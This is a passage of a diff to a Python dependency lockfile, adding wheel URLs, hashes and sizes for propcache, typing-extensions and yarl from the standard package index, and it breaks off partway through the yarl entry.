"sha256:1d1ad32d9d4355e2be65574fd0bfd3677e7066b009cd5b9b2dee8aa6a6393b33", size = 64788, upload-time = "2026-05-08T21:00:28.8Z" }, + { url = "https://files.pythonhosted.org/packages/12/fd/77fe5936d8c3086ca9048f7f415f122ed82e53884a9ec193646b42deef06/propcache-0.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c80f4ba3e8f00189165999a742ee526ebeccedf6c3f7beb0c7df821e9772435a", size = 62514, upload-time = "2026-05-08T21:00:30.098Z" }, + { url = "https://files.pythonhosted.org/packages/cf/74/66bd798b5b3be70aa1b391f5cc9d6a0a5532d7fd3b19ec0b213e72e6ad9d/propcache-0.5.2-cp312-cp312-win32.whl", hash = "sha256:8c7972d8f193740d9175f0998ab38717e6cd322d5935c5b0fef8c0d323fd9031", size = 39018, upload-time = "2026-05-08T21:00:31.622Z" }, + { url = "https://files.pythonhosted.org/packages/61/7c/5c0d34aa3024694d6dcb9271cdbdd08c4e47c1c0ad95ec7e7bc74cdea145/propcache-0.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:d9ee8826a7d47863a08ac44e1a5f611a462eefc3a194b492da242128bec75b42", size = 42322, upload-time = "2026-05-08T21:00:32.918Z" }, + { url = "https://files.pythonhosted.org/packages/4d/91/875812f1a3feb20ceba818ef39fbe4d92f1081e04ac815c822496d0d038b/propcache-0.5.2-cp312-cp312-win_arm64.whl", hash = "sha256:2800a4a8ead6b28cccd1ec54b59346f0def7922ee1c7598e8499c733cfbb7c84", size = 38172, upload-time = "2026-05-08T21:00:35.124Z" }, + { url = "https://files.pythonhosted.org/packages/c5/09/f049e45385503fe67db75a6b6186a7b9f0c3930366dc960522c312a825b1/propcache-0.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:099aaf4b4d1a02265b92a977edf00b5c4f63b3b17ac6de39b0d637c9cac0188a", size = 94457, upload-time = "2026-05-08T21:00:36.355Z" }, + { url = "https://files.pythonhosted.org/packages/6b/65/83d1d05655baf63113731bd5a1008435e14f8d1e5a06cbe4ec5b23ad7a31/propcache-0.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:68ce1c44c7a813a7f71ea04315a8c7b330b63db99d059a797a4651bb6f69f117", size = 53835, upload-time = "2026-05-08T21:00:38.072Z" }, + { url = "https://files.pythonhosted.org/packages/a9/12/a6ba6482bb5ea3260c000c9b20881c95fa11c6b30173715668259f844ed7/propcache-0.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:fc299c129490f55f254cd90be0deca4764e36e9a7c08b4aa588479a3bbed3098", size = 54545, upload-time = "2026-05-08T21:00:39.319Z" }, + { url = "https://files.pythonhosted.org/packages/a9/19/7fa086f5764c59ec8a8e157cd93aa8497acc00aba9dcdec56bfffb32602d/propcache-0.5.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a6ae2198be502c10f09b2516e7b5d019816924bc3183a43ce792a7bd6625e6f4", size = 59886, upload-time = "2026-05-08T21:00:40.621Z" }, + { url = "https://files.pythonhosted.org/packages/a1/e4/5d7663dc8235956c8f5281698a3af1d351d8820341ddd890f59d9a9127f2/propcache-0.5.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6041d31504dc1779d700e1edcfb08eea334b357620b06681a4eabb57a74e574e", size = 63261, upload-time = "2026-05-08T21:00:41.775Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4a/15a03adee24d6350da4292caeac44c34c033d2afe5e87eb370f38854560f/propcache-0.5.2-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7eabc04151c78a9f4d5bbb5f1faf571e4defeb4b585e0fe95b60ff2dbe4d3d7", size = 64184, upload-time = "2026-05-08T21:00:43.018Z" }, + { url = "https://files.pythonhosted.org/packages/8b/c6/979176efdaa3d239e36d503d5af63a0a773b36662ed8f52e5b6a6d9fd40e/propcache-0.5.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4db0ba63d693afd40d249bd93f842b5f144f8fcbb83de05660373bcf30517b1d", size = 61534, upload-time = "2026-05-08T21:00:44.507Z" }, + { url = "https://files.pythonhosted.org/packages/c8/22/63e8cd1bae4c2d2be6493b6b7d10566ddafad88137cfbc99964a1119853c/propcache-0.5.2-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1dbcf7675229b35d31abb6547d8ebc8c27a830ac3f9a794edff6254873ec7c0a", size = 61500, upload-time = "2026-05-08T21:00:45.796Z" }, + { url = "https://files.pythonhosted.org/packages/60/5a/28e5d9acbac1cc9ccb67045e8c1b943aa8d79fdf39c93bd73cacd68008ea/propcache-0.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d310c013aad2c72f1c3f2f8dd3279d460a858c551f97aeb8c63e4693cca7b4d2", size = 59994, upload-time = "2026-05-08T21:00:47.093Z" }, + { url = "https://files.pythonhosted.org/packages/f3/40/db650677f554a95b9c01a7c9d93d629e93a15562f5deb4573c9ee136fed2/propcache-0.5.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:06187263ddad280d05b4d8a8b3bb7d164cbebd469236544a42e6d9b28ac6a4fa", size = 56884, upload-time = "2026-05-08T21:00:48.376Z" }, + { url = "https://files.pythonhosted.org/packages/80/45/70b39b89516ff8b96bf732fa6fded8cef20f293cb1508690101c3c07ec51/propcache-0.5.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3115559b8effafd63b142ea5ed53d63a16ea6469cbc63dce4ee194b42db5d853", size = 63464, upload-time = "2026-05-08T21:00:49.954Z" }, + { url = "https://files.pythonhosted.org/packages/f9/e2/fa59d3a89eac5534293124af4f1d0d0ada091ce4a0ab4610ce03fd2bdd8d/propcache-0.5.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c60462af8e6dc30c35407c7237ea908d777b22862bbee27bc4699c0d8bcdc45a", size = 61588, upload-time = "2026-05-08T21:00:51.281Z" }, + { url = "https://files.pythonhosted.org/packages/0b/97/efb547a55c4bc7381cfb202d6a2239ac621045277bc1ea5dfd3a7f0516c0/propcache-0.5.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40314bca9ac559716fe374094fc81c11dcc34b64fd6c585360f5775690505704", size = 64667, upload-time = "2026-05-08T21:00:52.602Z" }, + { url = "https://files.pythonhosted.org/packages/92/56/f5c7d9b4b7595d5127da38974d791b2153f3d1eae6c674af3583ace92ad3/propcache-0.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cfa21e036ce1e1db2be04ba3b85d2df1bb1702fa01932d984c5464c665228ff4", size = 62463, upload-time = "2026-05-08T21:00:54.303Z" }, + { url = "https://files.pythonhosted.org/packages/bd/3b/484a3a65fc9f9f60c41dcd17b428bace5389544e2c680994534a20755066/propcache-0.5.2-cp313-cp313-win32.whl", hash = "sha256:f156a3529f38063b6dbaf356e15602a7f95f8055b1295a438433a6386f10463d", size = 38621, upload-time = "2026-05-08T21:00:55.808Z" }, + { url = "https://files.pythonhosted.org/packages/1c/fd/3f0f10dba4dabad3bf53102be007abf55481067952bde0fdddff439e7c61/propcache-0.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:dfed59d0a5aeb01e242e66ff0300bc4a265a7c05f612d30016f0b60b1017d757", size = 41649, upload-time = "2026-05-08T21:00:57.061Z" }, + { url = "https://files.pythonhosted.org/packages/90/ec/6ce619cc32bb500a482f811f9cd509368b4e58e638d13f2c68f370d6b475/propcache-0.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:ba338430e87ceb9c8f0cf754de38a9860560261e56c00376debd628698a7364f", size = 37636, upload-time = "2026-05-08T21:00:58.646Z" }, + { url = "https://files.pythonhosted.org/packages/1b/82/c1d268bbbf2ef981c5bf0fbbe746db617c66e3bcefe431a1aa8943fbe23a/propcache-0.5.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:a592f5f3da71c8691c788c13cb6734b6d17663d2e1cb8caddf0673d01ef8847d", size = 98872, upload-time = "2026-05-08T21:00:59.889Z" }, + { url = "https://files.pythonhosted.org/packages/f4/d4/52c871e73e864e6b34c0e2d58ac1ec5ccd149497ddc7ad2137ae98323a35/propcache-0.5.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6a997d0489e9668a384fcfd5061b857aa5361de73191cac204d04b889cfbbafa", size = 56257, upload-time = "2026-05-08T21:01:01.195Z" }, + { url = "https://files.pythonhosted.org/packages/67/f0/9b90ca2a210b3d09bcfcd96ecd0f55545c091535abce2a45de2775cfd357/propcache-0.5.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:10734b5484ea113152ee25a91dccedf81631791805d2c9ccb054958e51842c94", size = 56696, upload-time = "2026-05-08T21:01:02.941Z" }, + { url = "https://files.pythonhosted.org/packages/9d/0e/6e9d4ba07c8e56e21ddec1e75f12148142b21ca83a51871babce095334f4/propcache-0.5.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cafca7e56c12bb02ae16d283742bef25a61122e9dab2b5b3f2ccbe589ce32164", size = 62378, upload-time = "2026-05-08T21:01:04.475Z" }, + { url = "https://files.pythonhosted.org/packages/65/19/c10badaa463dde8a27ce884f8ee2ec37e6035b7c9f5ff0c8f74f06f08dac/propcache-0.5.2-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f064f8d2b59177878b7615df1735cd8fe3462ed6be8c7b217d17a276489c2b7f", size = 65283, upload-time = "2026-05-08T21:01:05.959Z" }, + { url = "https://files.pythonhosted.org/packages/b0/b6/93bea99ca80e19cef6512a8580e5b7857bbe09422d9daa7fd4ef5723306c/propcache-0.5.2-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f78abfa8dfc32376fd1aacf597b2f2fbbe0ea751419aee718af5d4f82537ef8c", size = 66616, upload-time = "2026-05-08T21:01:07.228Z" }, + { url = "https://files.pythonhosted.org/packages/83/e4/5c7462e50625f051f37fb38b8224f7639f667184bbd34424ec83819bb1b7/propcache-0.5.2-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f7467da8a9822bf1a55336f877340c5bcbd3c482afc43a99771169f74a26dedc", size = 63773, upload-time = "2026-05-08T21:01:08.514Z" }, + { url = "https://files.pythonhosted.org/packages/ca/b6/99238894047b13c823be25027e736626cd414a52a5e30d2c3347c2733529/propcache-0.5.2-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a6ddc6ac9e25de626c1f129c1b467d7ecd33ce2237d3fd0c4e429feef0a7ee1f", size = 63664, upload-time = "2026-05-08T21:01:09.874Z" }, + { url = "https://files.pythonhosted.org/packages/85/1e/a3a1a63116a2b8edb415a8bb9a6f0c34bd03830b1e18e8ce2904e1dc1cf4/propcache-0.5.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2f22cbbac9e26a8e864c0985ff1268d5d939d53d9d9411a9824279097e03a2cb", size = 62643, upload-time = "2026-05-08T21:01:11.132Z" }, + { url = "https://files.pythonhosted.org/packages/e4/03/893cf147de2fc6543c5eaa07ad833170e7e2a2385725bbebe8c0503723bb/propcache-0.5.2-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:fc76378c62a0f04d0cd82fbb1a2cd2d7e28fcb40d5873f28a6c44e388aaa2751", size = 59595, upload-time = "2026-05-08T21:01:12.387Z" }, + { url = "https://files.pythonhosted.org/packages/86/3b/04c1a2e12c57766568ba75ba72b3bf2042818d4c1425fab6fc07155c7cff/propcache-0.5.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:acd2c8edba48e31e58a363b8cf4e5c7db3b04b3f9e371f601df30d9b0d244836", size = 65711, upload-time = "2026-05-08T21:01:13.676Z" }, + { url = "https://files.pythonhosted.org/packages/1c/34/80f8d0099f8d6bacc4de1624c85672681c8cd1149ca2da0e38fd120b817f/propcache-0.5.2-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:452b5065457eb9991ec5eb38ff41d6cd4c991c9ac7c531c4d5849ae473a9a13f", size = 64247, upload-time = "2026-05-08T21:01:14.936Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1a/8b08f3a5f1037e9e370c55883ceeeee0f6dd0416fb2d2d67b8bfc91f2a79/propcache-0.5.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:3430bb2bfe1331885c427745a751e774ee679fd4344f80b97bf879815fe8fa55", size = 67102, upload-time = "2026-05-08T21:01:16.281Z" }, + { url = "https://files.pythonhosted.org/packages/34/68/8bdb7bb7756d76e005490649d10e4a8369e610c74d619f71e1aedf889e9c/propcache-0.5.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:cef6cea3922890dd6c9654971001fa797b526c16ab5e1e46c05fd6f877be7568", size = 64964, upload-time = "2026-05-08T21:01:17.57Z" }, + { url = "https://files.pythonhosted.org/packages/0a/aa/50fb0b5d3968b61a510926ff8b8465f1d6e976b3ab74496d7a4b9fc42515/propcache-0.5.2-cp313-cp313t-win32.whl", hash = "sha256:72d61e16dd78228b58c5d47be830ff3da7e5f139abdf0aef9d86cde1c5cf2191", size = 42546, upload-time = "2026-05-08T21:01:18.946Z" }, + { url = "https://files.pythonhosted.org/packages/ae/4c/0ddbae64321bd4a95bcbfc19307238016b5b1fee645c84626c8d539e5b74/propcache-0.5.2-cp313-cp313t-win_amd64.whl", hash = "sha256:0958834041a0166d343b8d2cedcd8bcbaeb4fdbe0cf08320c5379f143c3be6e7", size = 46330, upload-time = "2026-05-08T21:01:20.162Z" }, + { url = "https://files.pythonhosted.org/packages/00/d9/9cddc8efb78d8af264c5ec9f6d10b62f57c515feda8d321595f56010fb23/propcache-0.5.2-cp313-cp313t-win_arm64.whl", hash = "sha256:6de8bd93ddde9b992cf2b2e0d796d501a19026b5b9fd87356d7d0779531a8d96", size = 40521, upload-time = "2026-05-08T21:01:21.399Z" }, + { url = "https://files.pythonhosted.org/packages/e2/ea/23ee535d90ce8bcc465a3028eb3cc0ce3bd1005f4bb27710b30587de798d/propcache-0.5.2-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:46088abff4cba581dea21ae0467a480526cb25aa5f3c269e909f800328bc3999", size = 94662, upload-time = "2026-05-08T21:01:22.683Z" }, + { url = "https://files.pythonhosted.org/packages/b5/06/c5a52f419b5d8972f8d46a7577476090d8e3263ff589ce40b5ca4968d5be/propcache-0.5.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fc88b26f08d634f7bc819a7852e5214f5802641ab8d9fd5326892292eee1993e", size = 53928, upload-time = "2026-05-08T21:01:23.986Z" }, + { url = "https://files.pythonhosted.org/packages/63/b1/4260d67d6bd85e58a66b72d54ce15d5de789b6f3870cc6bedf8ff9667401/propcache-0.5.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:97797ebb098e670a2f92dd66f32897e30d7615b14e7f59711de23e30a9072539", size = 54650, upload-time = "2026-05-08T21:01:25.305Z" }, + { url = "https://files.pythonhosted.org/packages/70/06/2f46c318e3307cd7a6a7481def374ce838c0fe20084b39dd54b0879d0e99/propcache-0.5.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ba57fffe4ac99c5d30076161b5866336d97600769bad35cc68f7774b15298a4e", size = 59912, upload-time = "2026-05-08T21:01:26.545Z" }, + { url = "https://files.pythonhosted.org/packages/4c/29/fe1aebec2ce57ab985a9c382bded1124431f85078113aa222c5d278430d4/propcache-0.5.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:583c19759d9eec1e5b69e2fbef36a7d9c326041be9746cb822d335c8cedc2979", size = 63300, upload-time = "2026-05-08T21:01:27.937Z" }, + { url = "https://files.pythonhosted.org/packages/b4/18/2334b26768b6c82be8c69e83671b767d5ef426aa09b0cba6c2ea47816774/propcache-0.5.2-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d0326e2e5e1f3163fa306c834e48e8d490e5fae607a097a40c0648109b47ba80", size = 64208, upload-time = "2026-05-08T21:01:29.484Z" }, + { url = "https://files.pythonhosted.org/packages/2b/76/7f1bfd6afff4c5e38e36a3c6d68eb5f4b7311ea80baf693db78d95b603c4/propcache-0.5.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e00820e192c8dbebcafb383ebbf99030895f09905e7a0eb2e0340a0bcc2bc825", size = 61633, upload-time = "2026-05-08T21:01:31.068Z" }, + { url = "https://files.pythonhosted.org/packages/c4/46/b3ff8aba2b4953a3e50de2cf72f1b5748b8eca93b15f3dc2c84339084c09/propcache-0.5.2-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c66afea89b1e43725731d2004732a046fe6fe955d51f952c3e95a7314a284a39", size = 61724, upload-time = "2026-05-08T21:01:32.374Z" }, + { url = "https://files.pythonhosted.org/packages/c5/01/814cfcafbcff954f94c01cf30e097ddc88a076b5440fbcf4570753437d40/propcache-0.5.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d4dc37dec6c6cdad0b57881a5658fd14fbf53e333b1a86cf86559f190e1d9ec4", size = 60069, upload-time = "2026-05-08T21:01:33.67Z" }, + { url = "https://files.pythonhosted.org/packages/da/68/5c6f7622d510cc666a300687e06fd060c1a43361c0c9b20d284f06d8096a/propcache-0.5.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5570dbcc97571c15f68068e529c92715a12f8d54030e272d264b377e22bd17a5", size = 57099, upload-time = "2026-05-08T21:01:34.915Z" }, + { url = "https://files.pythonhosted.org/packages/55/27/9cb0b4c679124085327957d42521c99dba04c88c90c3e55a6f0b633ebccc/propcache-0.5.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f814362777a9f841adddb200ecdf8f5cb1e5a3c4b7a86378edbd6ccb26edd702", size = 63391, upload-time = "2026-05-08T21:01:36.231Z" }, + { url = "https://files.pythonhosted.org/packages/f0/9d/7258aaa5bdf60fc6f27591eef6fe52768cb0beda7140be477c8b12c9794a/propcache-0.5.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:196913dea116aeb5a2ba95af4ddcb7ea85559ae07d8eee8751688310d09168c3", size = 61626, upload-time = "2026-05-08T21:01:37.545Z" }, + { url = "https://files.pythonhosted.org/packages/8e/0d/41c602003e8a9b16fe1e7eadf62c7bfba9d5474370b24200bf48b315f45f/propcache-0.5.2-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:6e7b8719005dd1175be4ab1cd25e9b98659a5e0347331506ec6760d2773a7fb5", size = 64781, upload-time = "2026-05-08T21:01:38.83Z" }, + { url = "https://files.pythonhosted.org/packages/8b/f3/38e66b1856e9bd079deea015bc4a55f7767c0e4db2f7dcf69e7e680ba4ce/propcache-0.5.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:51f96d685ab16e88cab128cd37a52c5da540809c8b879fa047731bfcb4ad35a4", size = 62570, upload-time = "2026-05-08T21:01:40.415Z" }, + { url = "https://files.pythonhosted.org/packages/95/ca/bbfe9b910ce57dde8bb4876b4520fc02a4e89497c10de26be936758a3aaa/propcache-0.5.2-cp314-cp314-win32.whl", hash = "sha256:cc6fc3cc62e8501d3ed62894425040d2728ecddb1ed072737a5c70bd537aa9f0", size = 39436, upload-time = "2026-05-08T21:01:41.654Z" }, + { url = "https://files.pythonhosted.org/packages/61/d2/45c9defbaa1ea297035d9d4cce9e8f80daafbf19319c6007f157c6256ea9/propcache-0.5.2-cp314-cp314-win_amd64.whl", hash = "sha256:81e3a30b0bb60caa22033dd0f8a3618d1d67356212514f62c57db75cb0ef410c", size = 42373, upload-time = "2026-05-08T21:01:43.041Z" }, + { url = "https://files.pythonhosted.org/packages/44/68/9ea5103f41d5217d7d6ec24db90018e23aebec070c3f9a6e54d12b841fd8/propcache-0.5.2-cp314-cp314-win_arm64.whl", hash = "sha256:0d2c9bf8528f135dbb805ce027567e09164f7efa51a2be07458a2c0420f292d0", size = 38554, upload-time = "2026-05-08T21:01:44.336Z" }, + { url = "https://files.pythonhosted.org/packages/8a/81/fadf555f42d3b762eea8a53950b0489fdc0aa9da5f8ed9e10ce0a4e01b48/propcache-0.5.2-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:4bc8ff1feffc6a61c7002ffe84634c41b822e104990ae009f44a0834430070bb", size = 99395, upload-time = "2026-05-08T21:01:45.883Z" }, + { url = "https://files.pythonhosted.org/packages/f5/c9/c61e134a686949cf7971af3a390148b1156f7be81c73bc0cd12c873e2d48/propcache-0.5.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:79aa3ff0a9b566633b642fa9caf7e21ed1c13d6feca718187873f199e1514078", size = 56653, upload-time = "2026-05-08T21:01:47.307Z" }, + { url = "https://files.pythonhosted.org/packages/cb/73/daf935ea7048ddd7ec8eec5345b4a40b619d2d178b3c0a0900796bc3c794/propcache-0.5.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1b31822f4474c4036bae62de9402710051d431a606d6a0f907fec79935a071aa", size = 56914, upload-time = "2026-05-08T21:01:48.573Z" }, + { url = "https://files.pythonhosted.org/packages/79/9f/aba959b435ea18617edd7cf0a7ad0b9c574b8fc7e3d2cd55fb59cb255d33/propcache-0.5.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:13fef48778b5a2a756523fdb781326b028ca75e32858b04f2cdd19f394564917", size = 62567, upload-time = "2026-05-08T21:01:49.903Z" }, + { url = "https://files.pythonhosted.org/packages/6c/a1/859942de9a791ff42f6141736f5b37749b8f53e65edfa49638c67dd67e6a/propcache-0.5.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8b73ab70f1a3351fbc71f663b3e645af6dd0329100c353081cf69c37433fc6fe", size = 65542, upload-time = "2026-05-08T21:01:51.204Z" }, + { url = "https://files.pythonhosted.org/packages/b5/61/315bc0fd6c0fc7f80a528b8afd209e5fc4a875ea79571b91b8f50f442907/propcache-0.5.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5538d2c13d93e4698af7e092b57bc7298fd35d1d58e656ae18f23ee0d0378e03", size = 66845, upload-time = "2026-05-08T21:01:52.539Z" }, + { url = "https://files.pythonhosted.org/packages/47/f7/9f8122e3132e8e354ac41975ef8f1099be7d5a16bc7ae562734e993665c0/propcache-0.5.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cd645f03898405cabe694fb8bc35241e3a9c332ec85627584fe3de201452b335", size = 63985, upload-time = "2026-05-08T21:01:53.847Z" }, + { url = "https://files.pythonhosted.org/packages/c8/54/c317819ec157cbf6f35df9df9657a6f82daf34d5faf15948b2f639c2192e/propcache-0.5.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a473b3440261e0c60706e732b2ed2f517857344fc21bf48fdfe211e2d98eb285", size = 63999, upload-time = "2026-05-08T21:01:55.179Z" }, + { url = "https://files.pythonhosted.org/packages/5a/56/387e3f7dfce0a9233df41fb888aa1c30222cb4bbbf09537c02dd9bd85fe2/propcache-0.5.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7afa37062e6650640e932e4cc9297d81f9f42d9944029cc386b8247dea4da837", size = 62779, upload-time = "2026-05-08T21:01:57.489Z" }, + { url = "https://files.pythonhosted.org/packages/a1/9c/596784cb5824ed61ee960d3f8655a3f0993e107c6e98ab6c818b7fb92ccb/propcache-0.5.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:8a90efd5777e996e42d568db9ac740b944d691e565cbfd31b2f7832f9184b2b8", size = 59796, upload-time = "2026-05-08T21:01:58.736Z" }, + { url = "https://files.pythonhosted.org/packages/c2/3d/1a6cfa1726a48542c1e8784a0761421476a5b68e09b7f36bf95eb954aaba/propcache-0.5.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:f19bb891234d72535764d703bfed1153cc34f4214d5bd7150aee1eec9e8f4366", size = 66023, upload-time = "2026-05-08T21:02:00.228Z" }, + { url = "https://files.pythonhosted.org/packages/e4/0e/05fd6990369477076e4e280bcb970de760fddf0161a46e988bc95f7940ec/propcache-0.5.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:32775082acd2d807ee3db715c7770d38767b817870acfa08c29e057f3c4d5b56", size = 64448, upload-time = "2026-05-08T21:02:01.888Z" }, + { url = "https://files.pythonhosted.org/packages/cd/86/5f8da315a4309c62c10c0b2516b17492d5d3bbe1bb862b96604db67e2a37/propcache-0.5.2-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9282fb1a3bccd038da9f768b927b24a0c753e466c086b7c4f3c6982851eefb2d", size = 67329, upload-time = "2026-05-08T21:02:03.484Z" }, + { url = "https://files.pythonhosted.org/packages/da/d3/3368efe79ab21f0cdf86ef49895811c9cc933131d4cde1f28a624e22e712/propcache-0.5.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cc49723e2f60d6b32a0f0b08a3fd6d13203c07f1cd9566cfce0f12a917c967a2", size = 65172, upload-time = "2026-05-08T21:02:04.745Z" }, + { url = "https://files.pythonhosted.org/packages/d5/07/127e8b0bacfb325396196f9d976a22453049b89b9b2b08477cc3145faa44/propcache-0.5.2-cp314-cp314t-win32.whl", hash = "sha256:2d7aa89ebca5acc98cba9d1472d976e394782f587bad6661003602a619fd1821", size = 43813, upload-time = "2026-05-08T21:02:06.025Z" }, + { url = "https://files.pythonhosted.org/packages/88/fb/46dad6c0ae49ed230ab1b16c890c2b6314e2403e6c412976f4a72d64a527/propcache-0.5.2-cp314-cp314t-win_amd64.whl", hash = "sha256:d447bb0b3054be5818458fbb171208b1d9ff11eba14e18ca18b90cbb45767370", size = 47764, upload-time = "2026-05-08T21:02:07.353Z" }, + { url = "https://files.pythonhosted.org/packages/e7/c4/a47d0a63aa309d10d59ede6e9d4cff03a344a79d1f0f4cd0cd74997b53e0/propcache-0.5.2-cp314-cp314t-win_arm64.whl", hash = "sha256:fe67a3d11cd9b4efabfa45c3d00ffba2b26811442a73a581a94b67c2b5faccf6", size = 41140, upload-time = "2026-05-08T21:02:09.065Z" }, + { url = "https://files.pythonhosted.org/packages/3a/ed/1cdcab6ba3d6ab7feca11fc14f0eeea80755bb53ef4e892079f31b10a25f/propcache-0.5.2-py3-none-any.whl", hash = "sha256:be1ddfcbb376e3de5d2e2db1d58d6d67463e6b4f9f040c000de8e300295465fe", size = 14036, upload-time = "2026-05-08T21:02:10.673Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "yarl" +version = "1.23.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "multidict" }, + { name = "propcache" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/23/6e/beb1beec874a72f23815c1434518bfc4ed2175065173fb138c3705f658d4/yarl-1.23.0.tar.gz", hash = "sha256:53b1ea6ca88ebd4420379c330aea57e258408dd0df9af0992e5de2078dc9f5d5", size = 194676, upload-time = "2026-03-01T22:07:53.373Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/88/8a/94615bc31022f711add374097ad4144d569e95ff3c38d39215d07ac153a0/yarl-1.23.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:1932b6b8bba8d0160a9d1078aae5838a66039e8832d41d2992daa9a3a08f7860", size = 124737, upload-time = "2026-03-01T22:05:12.897Z" }, + { url = "https://files.pythonhosted.org/packages/e3/6f/c6554045d59d64052698add01226bc867b52fe4a12373415d7991fdca95d/yarl-1.23.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:411225bae281f114067578891bc75534cfb3d92a3b4dfef7a6ca78ba354e6069", size = 87029, upload-time = "2026-03-01T22:05:14.376Z" }, + { url = "https://files.pythonhosted.org/packages/19/2a/725ecc166d53438bc88f76822ed4b1e3b10756e790bafd7b523fe97c322d/yarl-1.23.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:13a563739ae600a631c36ce096615fe307f131344588b0bc0daec108cdb47b25", size = 86310, upload-time 